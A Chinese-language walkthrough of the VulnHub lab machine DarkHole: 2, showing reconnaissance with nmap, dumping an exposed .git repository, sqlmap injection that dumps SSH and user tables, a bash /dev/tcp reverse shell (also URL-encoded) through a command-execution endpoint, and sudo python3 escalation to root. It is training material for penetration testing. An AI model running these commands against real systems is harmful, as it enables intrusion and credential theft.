靶机下载
https://download.vulnhub.com/darkhole/darkhole_2.zip
启动方式
VMware 启动
版本信息
Name: DarkHole: 2
Date release: 3 Sep 2021
Author: Jehad Alqurashi
Series: DarkHole
靶机描述
难度:难
提示:不要浪费你的时间进行暴力破解
nmap -sP 192.168.157.0/24
探测为 171
nmap -sC -sV -A -p- 192.168.157.171 -o port.txt
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
| 256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_ 256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 192.168.157.171:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file ‘description’ to name the…
|_ Last commit message: i changed login.php file for more secure
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2
可以发现开启了22 和80端口
80端口 扫到 .git目录
脚本地址
https://github.com/lijiejie/GitHack/
python2 运行
python GitHack.py http://192.168.157.171/.git/
进入收集到的 目录 tree命令查看
收集到3个目录 11个文件
没有收获
下载地址
https://github.com/arthaud/git-dumper
python3 git_dumper.py http://192.168.157.171/.git/ website
cd website
git log
如图 根据记录 时间和内容得知
第一个 记录为第一次初始化
第二个 记录为
I added login.php file with default credentials
我添加了带有默认凭证的 login.php 文件
说明 可能存在 账号密码
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
if($_POST[‘email’] == “[email protected]” && $_POST[‘password’] == “321”){
发现 账号密码
直接用bp插件 sqlmap4burp ++
–level 2 --risk 3 --dbs --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp
python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 --tables
python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T ssh --columns
python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T users --columns
python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T ssh -C id,user,pass --dump
python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T users -C id,password,address,contact_number,email,username --dump
ls -al
cat .bash_history
curl "http://127.0.0.1:9999/?cmd=id"
DarkHole{‘This_is_the_life_man_better_than_a_cruise’}
黑洞(这是一种比游轮旅行更好地生活)
nc -lvvp 7777
curl "http://127.0.0.1:9999/?cmd=bash -c 'exec bash -i &>/dev/tcp/192.168.157.137/7777 <&1'"
因为是 curl执行 所以需要url编码 在bpurl 编码
curl "http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%65%78%65%63%20%62%61%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%35%37%2e%31%33%37%2f%37%37%37%37%20%3c%26%31%27"
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty -a
stty raw -echo;fg
reset
发现有sudo -l 提权的记录
有显示password 为gang
密码gang
发现 python3 可以 以 root 身份执行
sudo python3 -c 'import os; os.system("/bin/sh")'
本次靶机通关思路
(1)nmap 扫出80端口存在.git目录
(2)用两个git信息收集脚本,爬取下git目录的文件。
(3)通过git log git diff 查看git 历史提交记录和提交的差异 发现后台登录账号密码
(4)进入后台后通过url 处sql注入 注入出 ssh表的账号密码 登录jhead 的 ssh
(5)通过 jhead 的.bash_history 历史命令 发现 9999端口存在命令执行漏洞反弹losy shell成功
(6)losy 的 .bash_history 历史命令 发现 sudo -l 和密码 gang
(7)通过sudo -l 信息 用python3 切换至root shell。